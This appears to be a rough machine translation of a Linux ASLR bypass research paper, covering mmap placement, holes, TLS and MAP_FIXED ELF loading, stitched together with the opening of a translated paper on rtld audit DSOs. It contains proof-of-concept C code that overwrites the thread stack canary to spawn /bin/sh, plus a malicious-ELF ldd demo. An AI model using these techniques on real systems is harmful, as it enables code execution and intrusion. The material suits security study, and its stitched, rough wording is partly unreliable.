56011c3d6000-56011c3d7000 r–p /bin/less
56011c3d7000-56011c3db000 rw-p /bin/less
56011c3db000-56011c3df000 rw-p
56011e0d8000-56011e0f9000 rw-p [heap]
7fff6b4a4000-7fff6b4c5000 rw-p [stack]
7fff6b53b000-7fff6b53e000 r–p [vvar]
7fff6b53e000-7fff6b540000 r-xp [vdso]
ffffffffff600000-ffffffffff601000 r-xp [vsyscall]
https://lkml.org/lkml/2018/2/27/267
========================================================================
IV. Related Work
========================================================================
The problem with current mmap behavior was also found by other researches:
Hector Marco-Gisbert, Ismael Ripoll-Ripoll. ASLR-NG: ASLR Next Generation. 2016
https://cybersecurity.upv.es/solutions/aslr-ng/ASLRNG-BH-white-paper.pdf
Julian Kirsch, Bruno Bierbaumer, Thomas Kittel and Claudia Eckert Dynamic
Loader Oriented Programming on Linux. 2017
https://github.com/kirschju/wiedergaenger/blob/master/kirsch-roots-2017-paper.pdf
========================================================================
V. References
========================================================================
1. https://lkml.org/lkml/2012/11/5/673
2. https://cwe.mitre.org/data/definitions/119.html
3. https://cwe.mitre.org/data/definitions/190.html
4. https://cwe.mitre.org/data/definitions/120.html
5. https://cwe.mitre.org/data/definitions/704.html
6. https://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html
7. https://www.cvedetails.com/cve/CVE-2014-9427/
8. https://source.android.com/security/enhancements/enhancements70
9. https://android-review.googlesource.com/c/platform/bionic/+/178130/2
10. http://gcc.gnu.org/onlinedocs/gcc-3.3/gcc/Thread-Local.html
11. http://www.phrack.org/issues/49/14.html#article
12.
http://www.blackhat.com/presentations/bh-europe-09/Fritsch/Blackhat-Europe-2009-Fritsch-Buffer-Overflows-Linux-whitepaper.pdf
13. https://crypto.stanford.edu/cs155old/cs155-spring05/litch.pdf
14.
https://www.blackhat.com/docs/eu-17/materials/eu-17-Goryachy-How-To-Hack-A-Turned-Off-Computer-Or-Running-Unsigned-Code-In-Intel-Management-Engine-wp.pdf
15. https://cwe.mitre.org/data/definitions/416.html
16. http://www.skyfree.org/linux/references/ELF_Format.pdf
17. https://lwn.net/Articles/741335/
18. https://cwe.mitre.org/data/definitions/457.html
19. http://blog.ptsecurity.com/2018/02/new-bypass-and-protection-techniques.html
All sources and patches could be found at https://github.com/blackzert/aslur
repo.
New bypass and protection techniques for ASLR on Linux (1)
http://www.openwall.com/lists/oss-security/2018/02/27/5
本文由机器翻译加简单人工润色得到.
========================================================================
Contents
========================================================================
I. Introduction
II. Problems with current implementation
II.1. Close proximity of memory location
II.2. Fixed method of loading libraries
II.3. Fixed order of execution
II.4. Holes
II.5. TLS and thread stack
II.6. malloc and mmap
II.7. MAP_FIXED and loading of ET_DYN ELF files
II.8. Cache of allocated memory
II.9. thread cache alignment
III. Solutions
III.1 Holes
III.2 Order of loading ELF file segments
III.3 Use of mmap_min_addr when searching for mmap allocation addresses
III.4 mmap
IV. Related Work
V. References
========================================================================
I. 介绍
========================================================================
开始前,版本信息:
$ uname -a
Linux blackzert-virtual-machine 4.13.0-36-generic #40-Ubuntu SMP Fri Feb 16
20:07:48 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
$ ldd –version
ldd (Ubuntu GLIBC 2.26-0ubuntu2.1) 2.26
今天说的这些东西对 Kernel - 4.16-rc3, GNU Libc 2.27 也一样有效
通过这个步骤开始我们的研究:
$ less /proc/self/maps
5607a1ae5000-5607a1b0b000 r-xp 00000000 08:01 1966152 /bin/less
5607a1d0a000-5607a1d0b000 r–p 00025000 08:01 1966152 /bin/less
5607a1d0b000-5607a1d0f000 rw-p 00026000 08:01 1966152 /bin/less
5607a1d0f000-5607a1d13000 rw-p 00000000 00:00 0
5607a3bf8000-5607a3c19000 rw-p 00000000 00:00 0 [heap]
7f4d147e7000-7f4d14bf4000 r–p 00000000 08:01 3016021 /usr/lib/locale/locale-archive
7f4d14bf4000-7f4d14dca000 r-xp 00000000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7f4d14dca000-7f4d14fca000 —p 001d6000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7f4d14fca000-7f4d14fce000 r–p 001d6000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7f4d14fce000-7f4d14fd0000 rw-p 001da000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7f4d14fd0000-7f4d14fd4000 rw-p 00000000 00:00 0
7f4d14fd4000-7f4d14ff9000 r-xp 00000000 08:01 1185166 /lib/x86_64-linux-gnu/libtinfo.so.5.9
7f4d14ff9000-7f4d151f8000 —p 00025000 08:01 1185166 /lib/x86_64-linux-gnu/libtinfo.so.5.9
7f4d151f8000-7f4d151fc000 r–p 00024000 08:01 1185166 /lib/x86_64-linux-gnu/libtinfo.so.5.9
7f4d151fc000-7f4d151fd000 rw-p 00028000 08:01 1185166 /lib/x86_64-linux-gnu/libtinfo.so.5.9
7f4d151fd000-7f4d15224000 r-xp 00000000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7f4d1540b000-7f4d15410000 rw-p 00000000 00:00 0
7f4d15424000-7f4d15425000 r–p 00027000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7f4d15425000-7f4d15426000 rw-p 00028000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7f4d15426000-7f4d15427000 rw-p 00000000 00:00 0
7ffdeb3ec000-7ffdeb40d000 rw-p 00000000 00:00 0 [stack]
7ffdeb41e000-7ffdeb421000 r–p 00000000 00:00 0 [vvar]
7ffdeb421000-7ffdeb423000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
- 程序的起始地址是5607a1ae5000.
- 堆的起始地址是5607a3bf8000, 作为二进制应用程序结尾的地址加上一个随机值,在本例中,它等于0×1ee5000 (5607a3bf8000-5607a1d13000).
因为是x86-64架构,所以这个地址按2^12对齐了。
- 地址 7f4d15427000 被选为 mmap_base. 当通过mmap系统调用为任何内存分配选择随机地址时,该地址将作为上边界。
- 库 ld-2.26.so, libtinfo.so.5.9, and libc-2.26.so 被顺序定位。
如果将减法应用于相邻的内存区域,我们将注意到以下几点:二进制文件、堆栈、最低本地存档地址和最高ld地址之间有很大的差别。
加载的库(文件)之间没有任何空闲页面。无论我们重复这个过程几次,文件也都实际上将保持不变:页面之间的差异将有所不同,而库和文件在相对于其他页面的位置上保持相同。
这一事实对我们的分析至关重要。
当前的mmap实现是造成这种行为的原因。逻辑位于在do_mmap内核函数中,该函数实现内存在用户态(mmap syscall)和内核(在执行execve时)的分配。
在第一阶段,选择一个可用地址(get_unmapped_area);在第二阶段,将页面映射到该地址(mmap_region)。
我们将从第一阶段开始。
在选择地址时,可以使用以下选项:
1.如果设置MAP_FIXED 标志,系统将返回addr参数的值作为地址。
2.如果addr参数值不是零,则使用此值作为hint,在某些情况下,将直接选择此值。
3.只要可用区域的最大地址长度合适并且位于可选择地址的允许范围内,将选择它作为地址。
4.检查地址是否存在与安全相关的限制。
如果所有操作都成功,则将分配所选地址的内存区域。
地址选择算法的细节
进程虚拟内存管理器的基础结构是vm_area_struct(简称vma):
struct vm_area_struct { unsigned long vm_start; /* Our start address within vm_mm. */ unsigned long vm_end; /* The first byte after our end address within vm_mm. */ ... /* linked list of VM areas per task, sorted by address */ struct vm_area_struct *vm_next, *vm_prev; struct rb_node vm_rb; ... pgprot_t vm_page_prot; /* Access permissions of this VMA. */ ... };
此结构描述虚拟内存区域的开始、区域结束和区域内页的访问标志。VMA按升序排列在双链接的区域起始地址列表中,也按升序排列在区域起始地址的增广红-黑树中。
内核开发人员自己给出了这个解决方案的一个很好的基本原理[1]。
红-黑树增强是特定节点的可用内存量。
节点可用内存量定义为:
-在升序双链接列表中,当前vma的开始与前面vma的结束之间的内存空间的差值。
-左子树的可用内存量。
-右手子树的可用内存量。
这种结构使快速搜索(在O(log n)时间内)可以对应于某个地址的VMA或选择某一长度的可用范围。
在地址选择过程中,还确定了两个重要的边界:最小下边界和最大上边界。
下边界由体系结构确定为最小允许地址或系统管理员允许的最小值。上边界即mmap_base,这个值被选择为基于栈的随机值。这里“栈”是指最大栈地址,而“随机”是一个随机值,熵为28到32位,这取决于相关的内核参数。
Linux内核不能选择高于mmap_base的地址。在地址进程的地址空间中,大型mmap_base值要么对应于堆栈和特殊系统区域(vvar和vdso),要么显式地标记为MMAP_FIXED标志,否则将永远不会使用。
因此,在整个方案中,下列值仍然未知:
-主线程栈的起始地址
-加载应用程序二进制文件的Base Address
-应用程序堆的起始地址以及mmap_base,它是使用mmap分配内存的起始地址。
=====================================================
ii.当前实施中的问题。
=====================================================
刚才描述的内存分配算法有一些缺点。
=====================================================
ii.1.接近内存位置。
=====================================================
应用程序使用虚拟RAM。应用程序对内存的常用用法包括加载模块、线程堆栈和加载文件的堆、代码和数据(.rodata,.bss)。
在处理这些页面中的数据时,任何错误都可能影响到附近的数据。当更多具有不同类型内容的页面位于近距离时,攻击区域会变得更大,成功利用的可能性也会增加。
此类错误的例子包括越界[2]、溢出(整数[3]或缓冲区[4])和类型混淆[5]。
这个问题的一个具体实例是,系统仍然容易受到offset2lib攻击,如[6]所述。
简而言之,程序加载的Base Address和库的加载地址都是连在一起的,但是内核却选择它作为了mmap_base。
如果应用程序包含漏洞,则更容易利用它们,因为库映像靠近二进制应用程序映像。
演示此问题的一个很好的示例是[7]中的PHP漏洞,该漏洞允许读取或更改相邻的内存区域。
=====================================================
ii.2. 加载库的固定方法。
=====================================================
在Linux中,动态库实际上是在不调用Linux内核的情况下加载的。LD库(来自GNU Libc)负责这个过程。内核参与的唯一方式是通过mmap函数(我们还不考虑open/stat和其他文件操作):这是将代码和库数据加载到进程地址空间所必需的。一个例外是ld库本身,它通常作为文件加载的解释器写入可执行ELF文件中。至于解释器,它是由内核加载的。
如果使用GNU Libc中的ld作为解释器,则库的加载方式与以下类似:
1.将程序ELF文件添加到文件队列中进行处理。
2.从队列(FIFO)中取出第一个ELF文件。
3.如果该文件尚未加载到进程地址空间,则在mmap的帮助下加载该文件。
4.该文件所需的每个库都被添加到文件队列中进行处理。
5.只要队列不是空的,就重复步骤2。
此算法意味着加载顺序总是确定的,如果所有需要的库(其二进制文件)都是已知的,则可以重复加载。如果知道任何单个库的地址,则允许恢复所有库的地址:
1.假设libc库的地址是已知的。
2.将libc库的长度添加到libc加载地址-这是在libc之前加载的库的加载地址。
3.以同样的方式继续,我们获得在libc之前加载的库的mmap_base值和地址。
4.从libc地址减去libc之后加载的库的长度。这是libc之后加载的库的地址。
5.以同样的方式迭代,我们获得在程序开始时加载的所有库的地址。
如果在程序运行时加载了库(例如,通过dlopen函数),在某些情况下,攻击者可能不知道它相对于其他库的位置。例如,如果存在攻击者不知道分配的内存区域大小的mmap调用,则可能发生这种情况。
在利用漏洞时,对库地址的了解非常有帮助:例如,在搜索用于构建ROP链的gadget时。此外,如果任何库包含允许相对于库地址进行读取或写入值的漏洞,则此类漏洞很容易被利用,因为库是连续的。
大多数Linux发行版都包含具有最广泛库(例如libc)的编译包。这意味着库的长度是已知的,在这种情况下,相当于就知道了进程的虚拟地址空间分布的部分细节。
理论上,可以为此建立一个大型数据库。对于Ubuntu,它将包含库的版本,包括ld、libc、libp线程和libm;对于每个版本的库,可以分析它所需的多个版本的库(依赖关系)。因此,通过了解一个库的地址,就可以知道描述部分进程地址空间分布的可能映射版本。
这类数据库的例子有libcdb.com和libc.blukat.me,它们用于根据已知函数的偏移量来标识libc版本。
这意味着加载库的固定方法是应用程序的安全问题。上一节描述的mmap的行为使问题复杂化。在Android中,这个问题在版本7和更高版本[8][9]中得到了解决。
=====================================================
ii.3.固定执行顺序
=====================================================
程序有一个有趣的属性:在执行线程中有一对特定的点,在这对点之间程序状态是可预测的。例如,一旦客户端连接到网络服务,服务就会向客户端分配一些资源。这些资源的一部分可以从应用程序堆中分配。在这种情况下,对象在堆中的相对位置通常是可预见的。
通过“生成”攻击者所需的程序状态,此属性对于利用应用程序非常有用。在这里,我们称这种状态为固定的执行顺序。
在此属性的某些情况下,执行线程中有某个不动点。此时,从执行开始,从启动到启动,除了一些变量之外,程序状态保持不变。例如,在执行主函数之前,ld解释器必须加载和初始化所有库,然后初始化程序。如第4.2节所述,库的相对位置差将永远相同。在执行主函数期间,差异将包括用于程序加载、库、堆栈、堆和分配在内存中的对象的特定地址。这些差异是由于第6节所述的随机化造成的。
因此,攻击者可以获得关于程序数据相对位置的信息。此位置不受进程地址空间随机化的影响。
在这个阶段,唯一可能的熵来源是线程之间的竞争:如果程序创建了几个线程,它们在处理数据时的竞争可能会将熵引入对象的位置。在本例中,通过程序全局构造函数或所需库的帮助,可以在执行主函数之前创建线程。
当程序开始使用堆并从堆中分配内存时(通常是在new/malloc的帮助下),在每次启动之前,堆中对象的相互位置将保持不变。
在某些情况下,线程和堆栈的位置相对于库地址也是可预测的。
如果需要,可以获得这些偏移量以用于开发。一种方法是简单地为这个应用程序执行“strace -e mmap”两次,并比较地址的差异。
=====================================================
ii.4. Holes
=====================================================
如果应用程序使用mmap分配内存,然后释放该内存的一部分,则会导致被占用区域包围的hole。如果此空闲内存(hole)再次分配给易受攻击的对象(应用程序在其处理过程中有漏洞的对象),则可能会出现问题。这就使我们回到了内存中对象位置挨得太紧的问题。
Linux内核的ELF文件加载代码中找到了这样一个Hole的说明性示例:加载ELF文件时,内核首先读取文件的大小,并尝试通过do_mmap将其完全映射。一旦文件被完全加载,第一个段之后的内存将被释放。之后的所有段都加载在相对于第一个段设置的固定地址(MAP_FIXED)处。
当然,肯定是要这么做的,因为如果你想把整个文件加载到选定的地址,并根据ELF文件中的描述按权限、偏移量给各个段分配内存,就只能这么做。
但问题在于,如果ELF文件段的描述就不是连续的,这么分配的话就会导致内存中段不连续,也就是出现了hole。
但对于ld解释器(glibc)来说,在加载ELF文件期间将不调用Unmap,而是将空闲页面(hole)的权限更改为PROT_NONE,这将禁止进程访问这些页面。这种方法更安全。
要显示该问题的影响,请从以下命令开始:
$ strace -e mmap,munmap,open,openat,arch_prctl -f cat /proc/self/maps
openat(AT_FDCWD, “/etc/ld.so.cache”, O_RDONLY|O_CLOEXEC) = 3
mmap(NULL, 79806, PROT_READ, MAP_PRIVATE, 3, 0) = 0×7fa5fd8bc000
…
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0×7fa5fd8ba000
arch_prctl(ARCH_SET_FS, 0×7fa5fd8bb500) = 0
munmap(0×7fa5fd8bc000, 79806) = 0
…
openat(AT_FDCWD, “/proc/self/maps”, O_RDONLY) = 3
mmap(NULL, 139264, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0×7fa5fd898000
…
560d3c3e5000-560d3c3ed000 r-xp 00000000 08:01 1966104 /bin/cat
560d3c5ec000-560d3c5ed000 r–p 00007000 08:01 1966104 /bin/cat
560d3c5ed000-560d3c5ee000 rw-p 00008000 08:01 1966104 /bin/cat
560d3e00b000-560d3e02c000 rw-p 00000000 00:00 0 [heap]
7fa5fcebc000-7fa5fd2c9000 r–p 00000000 08:01 3016021 /usr/lib/locale/locale-archive
7fa5fd2c9000-7fa5fd49f000 r-xp 00000000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7fa5fd49f000-7fa5fd69f000 —p 001d6000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7fa5fd69f000-7fa5fd6a3000 r–p 001d6000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7fa5fd6a3000-7fa5fd6a5000 rw-p 001da000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7fa5fd6a5000-7fa5fd6a9000 rw-p 00000000 00:00 0
7fa5fd6a9000-7fa5fd6d0000 r-xp 00000000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7fa5fd898000-7fa5fd8bc000 rw-p 00000000 00:00 0
7fa5fd8d0000-7fa5fd8d1000 r–p 00027000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7fa5fd8d1000-7fa5fd8d2000 rw-p 00028000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7fa5fd8d2000-7fa5fd8d3000 rw-p 00000000 00:00 0
7ffc0a6bc000-7ffc0a6dd000 rw-p 00000000 00:00 0 [stack]
7ffc0a730000-7ffc0a733000 r–p 00000000 00:00 0 [vvar]
7ffc0a733000-7ffc0a735000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
munmap(0×7fa5fd898000, 139264) = 0
+++ exited with 0 +++
这里“/etc/ld.so.cache”通过mmap映射到了0×7fa5fd8bc000,即ld-2.26.so内部的hole上。稍后调用mmap获取大小为8192的0×7fa5fd8ba000地址。此范围包含主线程的TCB(线程控制块)结构,设置为arch_prctl(ARCH_SET_FS, 0×7fa5fd8bb500)。在调用“cat”程序的“main”函数之前,0×7fa5fd8bc000未映射,在tcb和ld只读段之间留下了另一个hole。
这两个hole:
1.在ld.text和0×7fa5fd8ba000之间,TCB使用的是什么。
2.在0×7fa5fd8bc000(TCB的结束)和ld.rdOnly之间,如果攻击者在这些漏洞中执行mmap之后容易遭受攻击对象(只需指定大小)并使用读/写超出限制的漏洞来访问LD数据或TCB或任何其他库数据,则可能使用该漏洞绕过ASLR。
以‘/self/proc/map’本身为例,它被mmap到0×7fa5fd898000的hole中。
在用户态调用mmap的另一种方法是使用长度很大的malloc调用。本例中是glibc的malloc调用的mmap。
=====================================================
ii.5. TLS和线程栈
=====================================================
线程本地存储(TLS)是一种机制,在这种机制中,多线程进程中的每个线程都可以为数据存储分配位置[10]。该机制在不同的体系结构和操作系统上实现不同。在我们的示例中,这是x86-64下的glibc实现。对于x86来说,对于所讨论的mmap问题,任何差异都不会是实质性的。
对于glibc的代码来说,mmap也用于创建TLS。这意味着TLS也是按照这里已经描述的方式选择的。如果TLS接近易受攻击的对象,则可以对其进行更改。
TLS有什么有趣的?在glibc实现中,段寄存器fs(对于x86-64体系结构)指向TLS。其结构由glibc源文件中定义的tcbhead_t类型描述:
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
…
} tcbhead_t;
这种类型包含字段Stack_看板,它包含一个所谓的canary——一个随机或伪随机的数字,用于保护应用程序免受栈溢出[11]的影响。
这种保护的工作方式如下:当输入一个函数时,从tcbhead_t.stack_guard 获得的一个canary被放置在栈上。在函数的末尾,将栈值与tcbhead_t.stack_guard中的引用值进行比较。如果两个值不匹配,应用程序将返回错误并终止。
可以通过几种方式绕过canary:
-如果攻击者不需要覆盖此值[12]。
-如果攻击者设法读取或预期该值,则有可能执行成功的攻击[12]。
-如果攻击者能够用已知值覆盖此值,则可能导致栈溢出[12]。
-攻击者可以在应用程序终止[13]之前进行控制。
-列出的旁路突出了保护TLS不被攻击者读取或覆盖的重要性。
我们的研究表明,glibc对于使用pthread_create创建的线程来说,在TLS实现中存在一个问题。假设需要为新线程选择TLS。为堆栈分配内存后,glibc。
在此内存的上层地址初始化TLS。在这里考虑的x86-64体系结构上,堆栈向下增长,将TLS放在堆栈的顶部。
从TLS中减去某个常量值,得到一个新线程用于栈寄存器的值。从TLS到参数传递给pthread_create的函数的栈帧的距离小于一页。
现在,一个可能的攻击者不需要猜测或窃取canary-攻击者只需将引用值与栈值一起覆盖,就可以完全绕过保护。在Intel ME[14]中也发现了类似的问题。
以下是概念的证明:
void pwn_payload() {
char *argv[2] = {”/bin/sh”, 0};
execve(argv[0], argv, 0);
}
int fixup = 0;
void * first(void *x)
{
unsigned long *addr;
arch_prctl(ARCH_GET_FS, &addr);
printf(”thread FS %pn”, addr);
printf(”cookie thread: 0x%lxn”, addr[5]);
unsigned long * frame = __builtin_frame_address(0);
printf(”stack_cookie addr %p n”, &frame[-1]);
printf(”diff : %lxn”, (char*)addr - (char*)&frame[-1]);
unsigned long len =(unsigned long)( (char*)addr - (char*)&frame[-1]) +
fixup;
// example of exploitation
// prepare exploit
void *exploit = malloc(len);
memset(exploit, 0×41, len);
void *ptr = &pwn_payload;
memcpy((char*)exploit + 16, &ptr, 8);
// exact stack-buffer overflow example
memcpy(&frame[-1], exploit, len);
return 0;
}
int main(int argc, char **argv, char **envp)
{
pthread_t one;
unsigned long *addr;
void *val;
arch_prctl(ARCH_GET_FS, &addr);
if (argc > 1)
fixup = 0×30;
printf(”main FS %pn”, addr);
printf(”cookie main: 0x%lxn”, addr[5]);
pthread_create(&one, NULL, &first, 0);
pthread_join(one,&val);
return 0;
}
运行它:
blackzert@…sher:~/aslur/tests$ ./thread_stack_tls 1
main FS 0×7f4d94b75700
cookie main: 0×2ad951d602d94100
thread FS 0×7f4d94385700
cookie thread: 0×2ad951d602d94100
stack_cookie addr 0×7f4d94384f48
diff : 7b8
$ ^D
blackzert@…sher:~/aslur/tests$
`Diff`这里是当前堆栈帧和TCB结构之间以字节为单位的大小。
这个等于0×7b8字节,少了一页。
缓冲区溢出可以绕过缓冲区溢出的保护。
=====================================================
ii.6.malloc和mmap。
=====================================================
在使用malloc时,如果请求的内存的大小大于某个值,则glibc有时会使用mmap来分配新的内存区域。在这种情况下,内存将在mmap的帮助下分配,因此,在内存分配之后,地址将接近使用mmap分配的库或其他数据。
攻击者密切关注堆对象处理中的错误,例如堆溢出、释放后使用[15]和类型混淆[5]。
当程序使用pthread_create时,会发现glibc库有一个有趣的行为。在第一次从用pthread_create创建的线程调用malloc时,glibc将调用mmap为这个堆栈创建一个新堆。因此,在这个线程中,通过malloc调用的所有地址都将位于同一个线程的堆栈附近。
一些程序和库使用mmap将文件映射到进程的地址空间。例如,这些文件可用作高速缓存或用于快速保存(改变)驱动器上的数据。
下面是一个抽象的示例:应用程序在mmap的帮助下加载MP3文件。让我们调用加载地址mmap_mp3。然后,应用程序从加载的数据读取到音频数据开始的偏移量。如果应用程序在其例行程序中包含验证该值长度的错误,则攻击者可以专门创建一个MP3文件,该文件能够访问mmap_mp3之后的内存区域。
Some PoC code:
int main(int argc, char **argv, char **envp)
{
int res;
system(”"); // call to make lazy linking
execv(”", NULL); // call to make lazy linking
unsigned long addr = (unsigned long)mmap(0, 8 * 4096 *4096, 3, MAP_ANON |
MAP_PRIVATE, -1, 0);
if (addr == MAP_FAILED)
return -1;
unsigned long addr_system = (unsigned long)dlsym(RTLD_NEXT, “system”);
unsigned long addr_execv = (unsigned long)dlsym(RTLD_NEXT, “execv”);
printf(”addr %lx system %lx execv %lxn”, addr, addr_system, addr_execv);
printf(”system - addr %lx execv - addr %lxn”, addr_system - addr,
addr_execv - addr);
return 0;
}
And results:
blackzert@…sher:~/aslur/tests$ ./mmap_libc
addr 7f02e9f85000 system 7f02f1fca390 execv 7f02f2051860
system - addr 8045390 execv - addr 80cc860
这显示了从mmap段到链接库数据的常量偏移(malloc也是这样)。
=====================================================
ii.7. MAP_FIXED的情况下ET_DYN ELF文件的加载。
=====================================================
mmap手册中关于MAP_FIXED式标志的说明如下:
MAP_FIXED
不要将addr解释为hint:一定要将映射放置在准确的地址。
addr必须是页大小的倍数。如果addr和len指定的内存区域与任何现有映射的页面重叠,则现有映射的重叠部分将被丢弃。如果无法使用指定的地址,mmap()将失败。由于映射需要固定地址的可移植性较低,因此不鼓励使用此选项。
如果带有MAP_FIXED标志的请求区域与现有区域重叠,则成功执行mmap将覆盖现有区域。
因此,如果程序员错误地使用MAP_FIXED,则可能会重新定义现有的内存区域。
在Linux内核和glibc中都发现了这样一个错误的有趣示例。
如[16]所述,ELF文件必须符合以下要求:在Phdr头中,ELF文件段必须按vaddr地址的升序排列:
PT_LOAD。
数组元素指定一个可加载的段,由p_filesz、p_memsz描述。文件中的字节映射到内存段的开头。
如果段的内存大小(p_memsz)大于文件大小(p_filesz),则定义“额外”字节来保存值0并跟踪段的初始化区域。文件大小不能大于内存大小。
程序头表中的可加载段条目按升序显示,在p_vaddr成员上排序。
但是,这一要求没有被检查。ELF文件加载的(作者写作时)最新代码如下:
case PT_LOAD:
struct loadcmd *c = &loadcmds[nloadcmds++];
c->mapstart = ALIGN_DOWN (ph->p_vaddr, GLRO(dl_pagesize));
c->mapend = ALIGN_UP (ph->p_vaddr + ph->p_filesz, GLRO(dl_pagesize));
…
maplength = loadcmds[nloadcmds - 1].allocend - loadcmds[0].mapstart;
…
for (const struct loadcmd *c = loadcmds; c < &loadcmds[nloadcmds]; ++c)
...
/* Map the segment contents from the file. */
if (__glibc_unlikely (__mmap ((void *) (l->l_addr + c->mapstart),
maplen, c->prot,
MAP_FIXED|MAP_COPY|MAP_FILE,
fd, c->mapoff)
所有段都按照以下算法处理:
1.计算加载的ELF文件的大小:最后一个段结束的地址减去第一个段的开始地址。
2.在mmap的帮助下,为这个大小的整个ELF文件分配内存,从而获得ELF文件加载的基本地址。
3.对于glibc,更改访问权限。如果从内核加载,释放造成漏洞的区域。这里,glibc和Linux内核的行为不同,如第4.4节所述。
4.借助mmap和MMAP_FIXED标志,通过使用通过隔离第一段获得的地址和添加从ELF文件头获得的偏移量来分配剩余段的内存。
这使入侵者能够创建一个恶意ELF文件,其中一个段可以完全覆盖现有的内存区域,例如线程的栈、堆或库代码。
易受攻击的应用程序的一个例子是LDD工具,该工具用于检查系统中是否存在所需的库:
blackzert@…sher:~/aslur/tests/evil_elf$ ldd ./main
linux-vdso.so.1 => (0×00007ffc48545000)
libevil.so => ./libevil.so (0×00007fbfaf53a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0×00007fbfaf14d000)
/lib64/ld-linux-x86-64.so.2 (0×000055dda45e6000)
该工具使用ld解释器。利用刚才讨论的ELF文件加载问题,我们成功地使用LDD执行了任意代码:
blackzert@…sher:~/aslur/tests/evil_elf$ ldd ./main
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
blackzert@…sher:~/aslur/tests/evil_elf$
在之前的Linux社区中也提出过MAP_FIXED的问题[17]。
The Audit DSOs of the RTLD
https://www.exploit-db.com/papers/29147/
机器翻译,简单人工润色。在paper中英文大量缺少动词和补充语,机器翻译可能存在不通的地方。
The Audit DSOs of the rtld
x90c
[toc]
—-[ 1. Intro
—-[ 2. The Audit DSOs
——–[ 2.1 The Audit DSO Internal
————[ 2.1.1 The structs of Audit Lists and Interfaces
————[ 2.1.2 Load an audit DSO
————[ 2.1.3 Do Lookup The Interfaces
————[ 2.1.4 Open The Object
——–[ 2.2 audit_dso_example.c: Writing a audit DSO
——–[ 2.3 The vulnerability
—-[ 3. Conclusion
—-[ 4. References
—-[ 5. Greets
-[1]介绍
文章阐述了RTLD的审计DSO的设置和编写DSO的过程,最后分析了审计DSO存在的漏洞。
-[2] 审计DSO
-[2.1 审计DSO的细节
运行进程后由rtld加载的审核DSO(换句话说,它影响了用户领空中的所有进程)。并将审核DSOS模块路径传递到$LD_AUDIT环境。例如:
export $LD_AUDIT=libpcrfilile.so。
首先,看看加载审计DSO的过程。
审核DSO加载过程:
(1)调用函数打开审计DSO。
(2)查找“la_version”符号并调用它。
(3)使用审计接口名查找符号并调用它。
(4)如果接口已绑定,则将 main_map(linkmap object)&dl_rtld_map(linkmap object)->l_audit[cnt].bindflags 的最后bit设置为1。
(5)用.debug动态段设置RTLD调试器。
(6)以LA_ACT_ADD为常数,调用“la_activity”符号函数来打印添加审计接口对象的消息。
*(5),(6)是具有审计DSO的la_activity接口的rtld调试器。
-[2.1.1 审计清单和接口的结构。
审计DSO有两个结构来加载rtld上的安全模块。第一个结构用于审计列表和下一个结构为审计接口。
审计列表结构像共享对象一样维护加载的安全模块,代码在rtld.c的全局变量中定义, rtld源代码中审计接口结构维护每个DSO的接口虚拟函数指针。
audit_list结构将会加载审计DSO名称,作为下一个模块的*name和*next指针的成员变量,它是一个单链表队列。
*audit_list .-----------. .----------. .----------. | old_newp | | old_newp | | newp | | - *name | | *name | | *name | | - *next |--->| *next |--->| *next |---+ '-----------' '----------' '----------' | (first) ^ | | | +---------+ (The Last Entry)
*audit_list 指针指向第一个加载的DSO的条目和最后加载的模块的最后条目。
让我们看一下结构:
elf/rtld.c中的audit_list结构:
/* List of auditing DSOs. */ static struct audit_list { const char *name; struct audit_list *next; } *audit_list;
elf/rtld.c中的process_dl_audit()函数向队列中添加了一个条目。
继续看,审计接口的结构如下:
*audit_ifaces (Interfaces) .---------------. .----------. | old | | new | | - (*activity) | | | | - (*objsearch)| | ... | ... n | - (*objopen) | | | GL(dl_naudit)=n | ... | | | | ... | | | | - *next |-->| *next | '---------------' '----------'
接口是共享对象上的符号,符号的函数指针由rtld加载到 *audit_ifaces 结构上。该结构也是与*audit_list相同的队列,并且这些接口将由rtld调用以加载和操作审核DSO。
每个*audit_ifaces条目都有*audit_list entry条目,即使这些结构没有为每个条目相互链接。
审计接口的计数存储在rtld的全局变量GL(Dl_Naudit)上。
审计接口查找并调用的步骤如下:
(1)查找la_objopen符号。
(2)通过调用audit_ifaces->objopen()函数指针调用符号。
然后,是审计接口:
